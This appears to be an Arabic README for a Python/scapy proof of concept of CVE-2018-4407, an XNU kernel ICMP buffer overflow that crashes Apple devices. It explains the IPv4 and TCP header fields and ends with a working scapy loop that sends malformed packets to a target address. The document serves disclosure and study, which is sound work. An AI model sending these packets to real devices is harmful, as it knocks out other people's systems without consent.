
تتسبب ثغرة تجاوز سعة المخزن المؤقت في رمز خطأ ICMP الخاص بنواة XNU في تعطل أجهزة IOS (أجهزة الكمبيوتر المحمولة والهواتف المحمولة).
CVE-2018-4407 هي ثغرة تجاوز سعة المخزن المؤقت في رمز خطأ ICMP في نواة XNU. وهي تتسبب في تعطل أجهزة IOS (أجهزة الكمبيوتر المحمولة والجوالات) عند استلام حزمة واحدة (نعم، 1!) سيئة.
تم الكشف عن الثغرة في الأصل بواسطة Kevin Backhouse على منشور مدونة lgtm في 30 أكتوبر 2018.
الكود الموجود في هذا المستودع هو إثبات مفهوم لاستغلال CVE-2018-4407 تم تنفيذه بلغة بايثون، باستخدام scapy وnmap.
بعض خطوات عملية تصحيح الأخطاء التي اتبعتها. إن النظر في كود نواة XNU يؤدي إلى القيم الخاصة بـ iphlen وtcphlen
التي قد تؤدي إلى تجاوز سعة المخزن المؤقت.
كما قال Backhouse، يجب أن يكون لدينا icmplen > 84، ويبدو أنه ينبغي لنا الدخول إلى فرع الكود
if(oip->ip_p == IPPROTO_TCP) لتحقيق ذلك. حزمة TCP ستؤدي إلى تشغيل هذه الثغرة.

يتراوح طول رأس IPv4 من 20 بايت كحد أدنى إلى 36 بايت (اعتمادًا على الخيارات).
IHL: هو طول رأس IP، بما في ذلك الخيارات. ويشير أيضًا إلى مكان بدء الحمولة.Total Length: هو الطول الإجمالي لحزمة IP (بما في ذلك رأس IP وحمولة TCP). 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
يتراوح طول رأس TCP من 20 بايت كحد أدنى إلى 60 بايت (يمكن أن تصل الخيارات إلى 40 بايت).
Data offset: يشير إلى مكان بدء البيانات ويمكن اعتباره أيضًا طول الرأس. 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
ليس من الضروري التعمق كثيرًا في كود XNU. يمكن أيضًا استخدام سكربت scapy بسيط يجرب يدويًا أطوال رؤوس مختلفة:
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))